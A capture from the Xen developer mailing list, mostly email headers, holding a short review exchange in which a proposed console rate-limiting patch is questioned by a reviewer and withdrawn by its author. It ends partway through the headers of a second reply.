	:message-id:mime-version:references:subject:to; s=ppserprodsaar;
	 bh=5yVO1UuA+36QQeeD9VG4BCCrsK7AyjVu/uPnJ5UAe8U=; b=eqF4Rsagh9UF
	qqOVfFLLQ9mKQF4LCdVdjjAeNURdRs5xUU9t2n8IYK4qb22CxhgDgfaZRby0Pfth
	wM+pTUpgmcqMRPWrcOjaBfn9h1GTyvTK8PJA01D6z0iS0AMCTlp9Nd36U7oM7/lB
	10aHhLaPL9JRJZjjhS0H5vnNLNaTqPH4PdX4Vkr4Zby90KEc2rpcsoWkSIRmhpsu
	FyT2VKppHPe7r1VrvMQ+IaDg4TGOhOxEofvqcK2USFGmuA/dLctpnbgRpXjbXQ8k
	F5RztP+McWJcsyPnPEpsfeqSxVCp0gtDbAxjwbBehNn/6SENkcT4jGh5DcOt/sOT
	9c4DzS2eSQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-type:date:from:in-reply-to:message-id:mime-version
	:references:subject:to; s=ppfserpocford; bh=5yVO1UuA+36QQeeD9VG4
	BCCrsK7AyjVu/uPnJ5UAe8U=; b=SGPlusCWO0mejU6t9WqYSuQLSPtKfPmNg8VX
	KK8aq/W6Suz1/yceo+uyg1jkT6BwGElLE+99lMy7emV/yzo5QFyoDecUdrXWvGVa
	AeVlpd0amhDCRlFn1y+V1Gho+Dk2gNI5Vw9+V8iqhpaHxe5PoYPFFJStNuh8aAgW
	tF7JbrJ/Sdlb7YWjlql01DUFo9MEW9jvIBDPzPg5VaVTbG3lXqLsZSnDDx7SEfJz
	uYq5Fym1pX2jMtO95BWdVGyg9z7TKJbD8tWfLG6Xr7nQXOsS6rIwkyPyMYtGn4dt
	XQXcYCfNnQr3AUe1crRnGyZ6PwLCZ1zdMnR4iSFjIi3ZuDDLsg==
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: kunrwlpSY1yXdkunrwsCDU
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
Date: Fri, 17 Jul 2026 19:29:22 -0700
To: Jan Beulich <jbeulich@suse.com>
Cc: dmukhin@ford.com, andrew.cooper3@citrix.com, anthony.perard@vates.tech,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, xen-devel@lists.xenproject.org
Subject: Re: [PATCH v3 4/4] xen/console: reduce number of printouts in
 __printk_ratelimit()
Message-ID: <alrlAq2/8HHkL8ty@kraken>
References: <20260715201902.2984407-1-dmukhin@ford.com>
 <20260715201902.2984407-5-dmukhin@ford.com>
 <020cfca3-5558-422f-b267-e498bfdf36bf@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <020cfca3-5558-422f-b267-e498bfdf36bf@suse.com>
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-17_07,2026-07-17_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 adultscore=0 phishscore=0 malwarescore=0 lowpriorityscore=0 spamscore=0
 bulkscore=0 classifier=typeunknown authscore=0 authtc= authcc= route=outbound
 adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607180022
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CY4PEPF0000E9DA:EE_|DS5PPFC0EDA5D61:EE_
X-MS-Office365-Filtering-Correlation-Id: 0b6ac991-3624-42bd-0055-08dee4746320
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|82310400026|36860700016|376014|23010399003|56012099006|11063799006|4143699003|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	r9x9Rv0eiMDRVOGmYMIeUX5dniH7MUH1LSmeyBooFQdv4iE9/3bSi3Z9q3ZUWlgQ/jh4IBCQni5+kcospGBx8HnyP8m8/g8ien3Wl6AdlNOM9BMorlWHoVETSRbvuV9l/98+eKlbGs1w3A+ACDKNBsOpFVAcf9zmWogxBErTflyN348LqA/KQw5ORXDZX68N6iJcnBTOTpgEPyeCsOcPVqt8WOj4Tupc6JlCAQti6D3zLxXKwuu/UbxlJtm1TzlH7huPtn111HRpDjKQ+14197Wr9D83CGroMsiFgzMwq5fWH0+0mDjBbFfMIC92ZNfjN4beVjTinFETKTlJ2CFVSBs1A5AsVS/HU4/7dms/Gzqe1M43lPTOwWiY4Ig8WgFh3Lg2u/I1SsvXSO1cPX9241/SYDT3Oxqdeby87ld/SOLAq/Dr9dnwsGPXmPjzpvxUtabZ3bQtqMY609PYCrjrX+GCtkW2e22rWFRtfTAqEr5yzFYwumyInqiLu4ubAWvoakKHBFOFN7akIw/LcCkZ8rGflR4f77zFn8l3QgLnULxpOdxlgyS0n+9hSuF92LAzzHzKDd3a0khaaNK1YwmiLVCphg8IHtePM8zCAeNjd1DBb0XXbfytgRHPtTkMlbpFg0d9zpyl4/ew117ZBwBWera1cu3L5msvkOJjNDUwJs3DMrnzYK08Qe4OptmwiBYp556UrEMZ4HVyS37dT9e/FQ==
X-Forefront-Antispam-Report:
	CIP:205.220.161.53;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0a-00498f04.pphosted.com;PTR:mx0a-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(1800799024)(82310400026)(36860700016)(376014)(23010399003)(56012099006)(11063799006)(4143699003)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	ZwMMLbXC89j6e+an4UM7eJ+Jj59Yd5nd/xPB6fUdHBxjiP9BKL1gdnO2pV4AOmVXNrffejN0875hKfUytdchBU13eO/n94MDMX9D2zCMl46+Hle4EOVjPlFiQlzJ6Ft+Bq3riiDY5rQFV0X78QP8V6aFIU0KxHPsgkCdX5SWD4eT5IjOLxnzxEhXesmjR2fpjHBB0XsznHDQSMyawyTrgV07U1Zh0CLjowgFg61S3z5fYTU1hJUC9T9xUFBafZZZCvRytzKLahC4cgo69buZiT34k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QBVx5IB7cw4yBeb+LfGm0ZGWK3ql7kLuWY2YUoKLsGqZPJFujGNkWJGoCI+OzHtdWJr8bP3l9lCfFnU4pddU/IoUA/mpKgC1DRAVfQE79wUHL8JV93fX9CnM9oh6OVDq4fJkNwOCu4HYUskST3tNXj1lT+zzIQKqHsD3xoT84TgNhEHSyfY6KEAsaK0zE7qdsBw==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 18 Jul 2026 02:29:26.2094
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 0b6ac991-3624-42bd-0055-08dee4746320
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[205.220.161.53];Helo=[mx0a-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CY4PEPF0000E9DA.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS5PPFC0EDA5D61
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE4MDAyMiBTYWx0ZWRfX77r45xQCgG6T
 L+wDlBXKp+Vesg/XHE3OhTkpNA3/H5TENqgvSvwhnGsWp2ytS+kTP71Z10Sp3NryYQRp2SDk+Pd
 YPsPug0vrDANXyF1qAADVVGqXMMlSRcglG1PbW4PgZmFbL++JWPy9LFlPcwztEX1UqnwVojP+gu
 c92EGTKM1uaq73+EsiLO/ccdPOlDUaDrdMsK66Yrci0uJC6dhgV9/3bp2zVBqUig1z/2nbt4Ei0
 U9BQt21eDekpJAoeVA53GgqM5NLuxqjsyB9nG7cw6zyxDN7LKUMX+RSeczvZgnC+nEr3dlpJjyp
 f8NYkPczWMcGASgdLcKaGfuLuB5mFdLBR3OmIl1WT6NCgBf04kZYqnfnNIG+4q7n/5uqGcE4rH8
 uTrpwKTlPslzkIH4HH2/vhvMsIBid5zN0PsW7NbmdQuN3SdwY+wqnBUWvOw5m3heWPo6bpL1Etd
 P1soIbyXaVv8l+51rCw==
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE4MDAyMiBTYWx0ZWRfX9f7GJ+O/FgfC
 GUMdocxePylGtPSxYAVUYGVfyDhbsPAJDjvJsM6XrMqaoSNFetdZsIs97+0nZ94qpcWmgjsLejg
 SMjUKhfGdc0H+kgr9xcG5L2mlkuDsHN22LxlLADNyjQGanROUuy6
X-Proofpoint-GUID: ANSEpkdtLOMVtNhAVxtsOR_GYSuwuLsn
X-Proofpoint-ORIG-GUID: ANSEpkdtLOMVtNhAVxtsOR_GYSuwuLsn
X-Authority-Analysis: v=2.4 cv=IqIutr/g c=1 sm=1 tr=0 ts=6a5ae509 cx=c_pps
 a=BP8zQLqIaVEyLeHVCiSdtw==:117 a=lOEMawUel/sSvQipkIvNbg==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=kj9zAlcOel0A:10 a=RAioF0-LDSMA:10
 a=3PXLN80vpJUA:10 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=P_n1zlmtWsCQbjROFjcg:22 a=-OawqTZBqJjt90xPb8wn:22
 a=cbNQJ9GKAAAA:8 a=KWXIm9auo01guOTqcqQA:9 a=CjuIK1q_8ugA:10
 a=G69WFyCBNqGPyalROSdv:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-17_07,2026-07-17_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 lowpriorityscore=0 clxscore=1015 malwarescore=0 bulkscore=0 adultscore=0
 priorityscore=1501 suspectscore=0 phishscore=0 impostorscore=0 spamscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607180022
X-purgate-ID: tlsNG-d25034/1784341772-50D3CA5B-A2B83913/0/0
X-purgate-type: clean
X-purgate-size: 1646

On Thu, Jul 16, 2026 at 05:49:35PM +0200, Jan Beulich wrote:
> On 15.07.2026 22:19, dmukhin@ford.com wrote:
> > From: Denis Mukhin <dmukhin@ford.com> 
> > 
> > Fold several __putstr() calls into one around notification of how many
> > messages have been rate-limited.
> > 
> > Not a functional change.
> > 
> > Signed-off-by: Denis Mukhin <dmukhin@ford.com>
> 
> Hmm, the upsides and downsides aren't being discussed at all. You're ...
> 
> > --- a/xen/drivers/char/console.c
> > +++ b/xen/drivers/char/console.c
> > @@ -1303,15 +1303,15 @@ bool __printk_ratelimit(unsigned int ratelimit_ms,
> >          spin_unlock(&ratelimit_lock);
> >          if ( lost )
> >          {
> > -            char lost_str[10];
> > +            char msg[64];
> > +
> > +            snprintf(msg, sizeof(msg),
> > +                     "printk: %u messages suppressed\n", lost);
> >  
> > -            snprintf(lost_str, sizeof(lost_str), "%u", lost);
> >              /* console_lock may already be acquired by printk(). */
> >              rspin_lock(&console_lock);
> >              printk_start_of_line(CONSOLE_PREFIX);
> > -            __putstr("printk: ");
> > -            __putstr(lost_str);
> > -            __putstr(" messages suppressed.\n");
> > +            __putstr(msg);
> >              rspin_unlock(&console_lock);
> >          }
> >          local_irq_restore(flags);
> 
> ... trading slightly smaller code size + slightly better performance for
> slightly bigger stack utilization. It's not entirely obvious that this is
> a good deal.

Thanks for the feedback!
I will drop that patch from the series.


From xen-devel-bounces@lists.xenproject.org Sat Jul 18 02:34:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 18 Jul 2026 02:34:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365326.1615875 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkutB-0005tA-1D; Sat, 18 Jul 2026 02:34:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365326.1615875; Sat, 18 Jul 2026 02:34:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkutA-0005t3-Ue; Sat, 18 Jul 2026 02:34:52 +0000
Received: by outflank-mailman (input) for mailman id 1365326;
 Sat, 18 Jul 2026 02:34:51 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wkut9-0005sv-3D
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 02:34:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkut8-005cGo-CN
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 04:34:50 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a5ae619-bab6-0a2a0a5309dd-0a2a450699c6-10
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 04:34:50 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a5ae648-195a-0a2a45060019-94a39217861e-3
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 04:34:50 +0200
Received: from pps.filterd (m0367124.ppops.net [127.0.0.1])
 by mx0a-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66HNE0ic3152016
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 02:34:48 GMT
Received: from byapr05cu005.outbound.protection.outlook.com
 (mail-westusazon11010019.outbound.protection.outlook.com [52.101.85.19])
 by mx0a-00498f03.pphosted.com (PPS) with ESMTPS id 4ffrnqm2hb-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 02:34:47 +0000 (GMT)
Received: from BN9PR03CA0096.namprd03.prod.outlook.com (2603:10b6:408:fd::11)
 by DS4PR16MB6972.namprd16.prod.outlook.com (2603:10b6:8:31b::8) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.139.20; Sat, 18 Jul
 2026 02:34:45 +0000
Received: from BN3PEPF0000B075.namprd04.prod.outlook.com
 (2603:10b6:408:fd:cafe::78) by BN9PR03CA0096.outlook.office365.com
 (2603:10b6:408:fd::11) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.13 via Frontend Transport; Sat,
 18 Jul 2026 02:34:44 +0000
Received: from mx0a-00498f04.pphosted.com (205.220.161.53) by
 BN3PEPF0000B075.mail.protection.outlook.com (10.167.243.120) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.5
 via Frontend Transport; Sat, 18 Jul 2026 02:34:44 +0000
Received: from pps.filterd (m0373460.ppops.net [127.0.0.1])
 by mx0a-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66HNIUtA3443664
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 22:34:43 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-use.ser.proofpoint.com
 [3.215.31.156])
 by mx0a-00498f04.pphosted.com (PPS) with ESMTPS id 4fc6py048r-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 22:34:42 -0400 (EDT)
Received: from localhost ([19.12.76.221]) by cmsmtp with ESMTPSA
 id kusywaUqNERZKkusyw7vfP; Sat, 18 Jul 2026 02:34:41 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=fail header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=7HQ
	6p2ktQeas8tEBBZFKp6+oncTUNewPEkJCmWU+S1A=; b=HmBeXZUgtIeFWPM1LSD
	UWt1EEo+0zXhxwBZIIxGnrAdgtBe0mAbHM38aUEkDzhYPn7r4+FIribHtFTz6oKN
	S1+rBgg9u8EdihHmBIqlGc3JrUrQPLDw8cB7zM9KY3CuFKElU5uwU7EsHkIooxza
	7z2T5hOgPkNQmH6gJTH3JCJ7SbkumDkv5UOlPdjw2U+cmRlgbQEML3cqVi0PkDZ/
	rO1zHdAP3mKXs/DFPcxn7Y1FiZNaQqVwti9dbw49Lmel6kVHFLzOX759sT4I4rDi
	2QeJ3OtFDSYBHDyIwRIxKVL4smkPnl961OyfyMdSJ/jRsv61c8edcTEwQrA6zKX9
	7fw==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=tqKBjCy1i0W11+BsLX5OVuuQfm3dhFGVccrO2nau2h8TowPjN+h0+ieAfmcYngvl2ihTuNaTz3+EekKai7/29Hnmo+oETCwXzMYcM7eNRBI2YhrE6mqH5gO7ketFYHr5zGaZesU8VU+qXks050ax+Sl866594RB9hJMeyG316xXHoPasa6+xHvnc9iqSEXzL0Ep8FYTp9HyrWpn8COqXNObOpX6yfauauUaqaBdSa3PevJKk4LnFmdZU3QlSrrWkbn5z7ZlRN/CkmVpHLhsm7BwgwgZwVypaCyQ9qdEjcyD45J4r6kqVTApys7mx1y/CZFWORIvZWL2W6PJLHyDjbg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=niNsrKKGyN4n6Ip60OLL0+LAYJwgdJTFa6t0pIzmz5A=;
 b=yQ/igwVOC9M2ByOyrNu9R9RmreXNYfrWq6l9WlUvq8Ihz3UgnvbLgl3Ji/Aw+jpOhmAE3VUGGXWbbkbWRAFQLlHEcsEUhgI2GHSXCv0NTtWW7gNkim973umOjii1v/jymdlr4Pdq5NgHr3/ItUPJD6A1M+tqv4PjT+CScJAZ2vuKWXQYwIjcaTxfY/lLqG+LEuj+EE93/2Qy8ZYrC3EKEk/EVApQJ/jB18B3tRx/Ug4TDqeS6F0YYqrJ7HNQWZc847vFdgPnRhBvNljV5S2f6otqxzHXEsUQdXby6gJOsoym+iT8J4C2FuVOjy5Zi5Mr2oRfQQFNnDWcFrkk/Q+yYQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 205.220.161.53) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=niNsrKKGyN4n6Ip60OLL0+LAYJwgdJTFa6t0pIzmz5A=;
 b=C17d9/NHqMrYF46ZD2HyXsm9l1Hte9vg0tQjyNtq9pIVwgLbFarNBenz4y982bKKJozjdiVR9QIXARUBRA3Te3gS1tPZ7405hPV730j2rto6deHHGRNH7ztggRWr1Q5eXRWM2oWxvDFyDXkQza1pHWELjg0uS55iPI2eUQQo+u0=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 205.220.161.53)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 205.220.161.53 as permitted sender) receiver=protection.outlook.com;
 client-ip=205.220.161.53; helo=mx0a-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:content-type
	:date:from:in-reply-to:message-id:mime-version:references
	:subject:to; s=ppserprodsaar; bh=7HQ6p2ktQeas8tEBBZFKp6+oncTUNew
	PEkJCmWU+S1A=; b=NqH1jnloz/X4jR3TPCcQn6MxggkZXvCNOk4FrYHOdUtQQQb
	lm+qH5vdmgR2pg8eVuhm3O8HsQOk2nzNi1YqI286zHl71JZqHabtAx1Rji5VO64x
	44qiwbSnI+vgnld7NlMinpKDZBbB0I+zR9MJs55Xwmq26fIzqi1ZwPlU0ds3YmF4
	2vu9w1ykuESkLex2l5M/m08FGTxEA3zL7eyYvkrZJBmKDXNPXhJ8iJwr46k2Dg4d
	ENxAVmQG89KxMSQcxJgGIyHZbfkaLtmPwunveTdBwBRUM/MNr+nCZKWlW3cLs2B/
	radvjN5aAnTN8qxT3YoVLXGInGl88nhnHCyan/A==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppfserpocford;
	 bh=7HQ6p2ktQeas8tEBBZFKp6+oncTUNewPEkJCmWU+S1A=; b=XmZc0taUAvj9
	bex3YBNqUDgNILoEGhxlqBN4FQGla6svwL63fkG9VZCDHZAUYAeXGBYb/3zmsURM
	VF5NNQ9owRbYm+9UuS2lG8L8OH2MBDLCfAf2Iu+1UXcCEBkeWJC4PASLZD2qGqBJ
	1pw1740W1E+re2dhHXotgqQtQ2IqA0tyCHsFhrWIJJH4pFloh9fP0p1T3ox+dFrF
	1qy1IdpzAbq5dCflkxLJA+YHy3dq5BX81GDeiyTfWQDqey+MYa7cgR/EJRBY/m6B
	18rwggJS4gT7UgQif3xigFGXY8ghZgQzZPlzGs5wuYEVDv0zZCqkH/Hr/rvXpTqP
	4r5lyfAhbw==
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: kusywaUqNERZKkusyw7vfP
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
Date: Fri, 17 Jul 2026 19:34:39 -0700
To: Teddy Astie <teddy.astie@vates.tech>
Cc: dmukhin@ford.com, xen-devel@lists.xenproject.org,
        andrew.cooper3@citrix.com, anthony.perard@vates.tech,
        jbeulich@suse.com, julien@xen.org, michal.orzel@amd.com,
        roger.pau@citrix.com, sstabellini@kernel.org
Subject: Re: [PATCH v3 3/4] xen/console: add build-time rate-limiting controls
Message-ID: <alrmP1FHd7AzlBxC@kraken>
References: <20260715201902.2984407-1-dmukhin@ford.com>
 <20260715201902.2984407-4-dmukhin@ford.com>
 <1784195975.8631fc262581453bbf619ec5b2062170.19f6a5e0923000edb5@vates.tech>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <1784195975.8631fc262581453bbf619ec5b2062170.19f6a5e0923000edb5@vates.tech>
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-17_07,2026-07-17_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 bulkscore=0
 adultscore=0 suspectscore=0 spamscore=0 phishscore=0 malwarescore=0
 lowpriorityscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607180024
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BN3PEPF0000B075:EE_|DS4PR16MB6972:EE_
X-MS-Office365-Filtering-Correlation-Id: 7b863a25-5938-4b66-5772-08dee47520b6
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|376014|1800799024|82310400026|23010399003|22082099003|18002099003|10067099003|3023799007|4143699003|6133799003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	QnORDoHvGx6fcjLjSHnvlkYRInxVc3iOVS882bkU3Rt7ax3hQebmZBvw2kAKry+7o3/85h/5kGNU00+7sDvz0MMvmsLxPQJkgIxPiTN63hdgw+E57FPb4YkfQkwbTHs/bLGnZOHqMoKoyOhCd9d8KeA98tZ+VGmtO5VdtrXeFIVJVSdmfdbOF9LDT5UKHqaHAnzIWnovwuVkRtis8bfR7qV4YjBbyXR+SkJQDesRfbsGzhWBY/XCIgQ+u53QY45beF99qeFqNQP9zK6E7+rZ+s+/G640Ir/2U+dWMA9ktp1BBIwjnK0rOcmjTmMNK8tNjyYS33T3+eZ3U6WCDM6VJBy+K11QZeyCexnuYUNMmgkrhXTnliDbVXFtA9aISPmurQI9avDtGXK36p+WLxN+9IZrvp5ewqS0SwSUtKm+JwrxAJiZiMGE3yg3qK5Yk8SwYdrK0UT1eG4sVdtB4BH7FLspxSV5JahcE6W+vQYAozIbl0S99kpKZcL0KyTL38fvkpCo0CoF/rQiQ7NWo+PwcKOloopzZtsd0AWdL1TJXtV29VTjuLxpDEeYZWUIJ6DCmCeyrO+nQQP59uriDyMnmEVR3OlFI8WxAiKXhss2QVjONn4g4Y/Pk7lygF6xph2OAz//4HOcfR4gMvgk6smeEkmNxRESv7oMfnbX1ZyEA38vZbVOMVN9fEf/hXUXIPKZSyWSmjn3cyQwOCxb7Fu5kg==
X-Forefront-Antispam-Report:
	CIP:205.220.161.53;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0a-00498f04.pphosted.com;PTR:mx0a-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(36860700016)(376014)(1800799024)(82310400026)(23010399003)(22082099003)(18002099003)(10067099003)(3023799007)(4143699003)(6133799003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	Q/+NBCWv2IIixKKggxhykP5eR1Q86KC/O/ZOqV2zaWD26jd+A0lWZzN+hlDrdcoxeb4J315nsySOhi5hMBqUT9e8PufuaQMQiWWLJWmtz6kUXOT4wh3oF/tIJtHFR5rrsRPPd18My7+ZBz3acQCiMjkiwrQLjh4/6x2MwGoauBwlF/wMsA8TAe6OGeIjy+6SBZdd79O999OlFdh1BNL75zx96NgDj+uBXT0u41IhE/8Itx6NY0DZMMH/i1uo/I46F40IC++SyvI4PNQPUIYtISnHkg2jXRYk6NujAvf28SRoe8bBQZ7rpIgHxoqAQFB/e31k9yItbdqBJzHIeRh9HOFWT8w4KpOhfg3IQ3yzvADyVAZqOqKM7zmw1CVHveMYgTJFZ0eCKzp8tcWSInHQXb44Brdf/yrcEC4R3FGtGlsE7+bv3RL1pKyNtMvl1gai
X-Exchange-RoutingPolicyChecked:
